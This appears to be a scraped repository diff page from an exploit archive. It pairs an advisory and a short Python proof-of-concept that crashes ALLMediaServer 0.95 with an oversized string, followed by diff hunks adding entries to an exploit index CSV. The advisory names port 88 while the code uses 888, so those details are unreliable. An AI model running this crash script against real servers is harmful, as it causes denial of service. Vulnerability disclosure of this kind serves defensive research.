A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
|
||||||
|
|
||||||
|
|
||||||
|
2. Proof of Concept
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work.
|
||||||
|
|
||||||
|
def main():
|
||||||
|
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
s.connect(('192.168.205.131', 888))
|
||||||
|
|
||||||
|
buffer = "A" * 3000
|
||||||
|
|
||||||
|
|
||||||
|
s.send(buffer)
|
||||||
|
|
||||||
|
s.close()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
import socket
|
||||||
|
|
||||||
|
main()
|
||||||
|
|
@ -5433,6 +5433,9 @@ id,file,description,date,author,type,platform,port
|
||||||
43373,exploits/windows/dos/43373.txt,"Intel Content Protection HECI Service - Type Confusion Privilege Escalation",2017-12-19,"Google Security Research",dos,windows,
|
43373,exploits/windows/dos/43373.txt,"Intel Content Protection HECI Service - Type Confusion Privilege Escalation",2017-12-19,"Google Security Research",dos,windows,
|
||||||
43380,exploits/windows/dos/43380.cpp,"Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' Double-Write Ring-0 Address Leak",2017-12-20,"Google Security Research",dos,windows,
|
43380,exploits/windows/dos/43380.cpp,"Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation)' Double-Write Ring-0 Address Leak",2017-12-20,"Google Security Research",dos,windows,
|
||||||
43391,exploits/windows/dos/43391.py,"GetGo Download Manager 5.3.0.2712 - Buffer Overflow",2017-12-26,"Aloyce J. Makalanga",dos,windows,
|
43391,exploits/windows/dos/43391.py,"GetGo Download Manager 5.3.0.2712 - Buffer Overflow",2017-12-26,"Aloyce J. Makalanga",dos,windows,
|
||||||
|
43401,exploits/hardware/dos/43401.py,"Telesquare SKT LTE Router SDT-CS3B1 - Denial of Service",2017-12-27,LiquidWorm,dos,hardware,
|
||||||
|
43403,exploits/windows/dos/43403.py,"SysGauge Server 3.6.18 - Denial of Service",2017-12-27,"Ahmad Mahfouz",dos,windows,
|
||||||
|
43406,exploits/windows/dos/43406.py,"ALLMediaServer 0.95 - Buffer Overflow",2017-12-27,"Aloyce J. Makalanga",dos,windows,
|
||||||
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
41623,exploits/windows/dos/41623.html,"Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free",2017-03-16,"Google Security Research",dos,windows,
|
||||||
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
41629,exploits/windows/dos/41629.py,"FTPShell Client 6.53 - 'Session name' Local Buffer Overflow",2017-03-17,ScrR1pTK1dd13,dos,windows,
|
||||||
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
41637,exploits/windows/dos/41637.py,"FTPShell Server 6.56 - 'ChangePassword' Buffer Overflow",2017-03-19,ScrR1pTK1dd13,dos,windows,
|
||||||
|
|
@ -9235,6 +9238,7 @@ id,file,description,date,author,type,platform,port
|
||||||
43359,exploits/linux/local/43359.c,"Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape",2017-01-04,"Sebastian Krahmer",local,linux,
|
43359,exploits/linux/local/43359.c,"Firejail < 0.9.44.4 / < 0.9.38.8 LTS - Local Sandbox Escape",2017-01-04,"Sebastian Krahmer",local,linux,
|
||||||
43366,exploits/windows/local/43366.md,"TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change (PoC)",2017-12-04,gellin,local,windows,
|
43366,exploits/windows/local/43366.md,"TeamViewer 11 < 13 (Windows 10 x86) - Inline Hooking / Direct Memory Modification Permission Change (PoC)",2017-12-04,gellin,local,windows,
|
||||||
43390,exploits/windows/local/43390.txt,"Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation",2017-12-26,"Julien Ahrens",local,windows,
|
43390,exploits/windows/local/43390.txt,"Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation",2017-12-26,"Julien Ahrens",local,windows,
|
||||||
|
43397,exploits/bsd/local/43397.md,"Sony Playstation 4 4.05 FW - Local Kernel Loader",2017-12-27,Specter,local,bsd,
|
||||||
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
41675,exploits/android/local/41675.rb,"Google Android 4.2 Browser and WebView - 'addJavascriptInterface' Code Execution (Metasploit)",2012-12-21,Metasploit,local,android,
|
||||||
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
41683,exploits/multiple/local/41683.rb,"Mozilla Firefox < 17.0.1 - Flash Privileged Code Injection (Metasploit)",2013-01-08,Metasploit,local,multiple,
|
||||||
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
41700,exploits/windows/local/41700.rb,"Sun Java Web Start Plugin - Command Line Argument Injection (Metasploit)",2010-04-09,Metasploit,local,windows,
|
||||||
|
|
@ -37669,6 +37673,11 @@ id,file,description,date,author,type,platform,port
|
||||||
43394,exploits/php/webapps/43394.txt,"Biometric Shift Employee Management System 3.0 - Local File Disclosure",2017-12-26,"Ihsan Sencan",webapps,php,
|
43394,exploits/php/webapps/43394.txt,"Biometric Shift Employee Management System 3.0 - Local File Disclosure",2017-12-26,"Ihsan Sencan",webapps,php,
|
||||||
43395,exploits/php/webapps/43395.php,"Sendroid < 6.5.0 - SQL Injection",2017-12-26,"Onwuka Gideon",webapps,php,
|
43395,exploits/php/webapps/43395.php,"Sendroid < 6.5.0 - SQL Injection",2017-12-26,"Onwuka Gideon",webapps,php,
|
||||||
43396,exploits/php/webapps/43396.txt,"SilverStripe CMS 3.6.2 - CSV Excel Macro Injection",2017-12-26,"Ishaq Mohammed",webapps,php,
|
43396,exploits/php/webapps/43396.txt,"SilverStripe CMS 3.6.2 - CSV Excel Macro Injection",2017-12-26,"Ishaq Mohammed",webapps,php,
|
||||||
|
43398,exploits/php/webapps/43398.txt,"Xerox DC260 EFI Fiery Controller Webtools 2.0 - Arbitrary File Disclosure",2017-12-27,LiquidWorm,webapps,php,
|
||||||
|
43399,exploits/php/webapps/43399.txt,"Easy!Appointments 1.2.1 - Cross-Site Scripting",2017-12-27,LiquidWorm,webapps,php,
|
||||||
|
43400,exploits/hardware/webapps/43400.html,"Telesquare SKT LTE Router SDT-CS3B1 - Cross-Site Request Forgery",2017-12-27,LiquidWorm,webapps,hardware,
|
||||||
|
43402,exploits/hardware/webapps/43402.txt,"Telesquare SKT LTE Router SDT-CS3B1 - Information Disclosure",2017-12-27,LiquidWorm,webapps,hardware,
|
||||||
|
43405,exploits/aspx/webapps/43405.rb,"DotNetNuke DreamSlider 01.01.02 - Arbitrary File Download",2017-12-27,"Glafkos Charalambous",webapps,aspx,
|
||||||
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
41622,exploits/php/webapps/41622.py,"Wordpress Plugin Membership Simplified 1.58 - Arbitrary File Download",2017-03-16,"The Martian",webapps,php,
|
||||||
41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware,
|
41625,exploits/hardware/webapps/41625.txt,"AXIS Communications - Cross-Site Scripting / Content Injection",2017-03-17,Orwelllabs,webapps,hardware,
|
||||||
41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,
|
41626,exploits/hardware/webapps/41626.txt,"AXIS (Multiple Products) - Cross-Site Request Forgery",2017-03-17,Orwelllabs,webapps,hardware,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue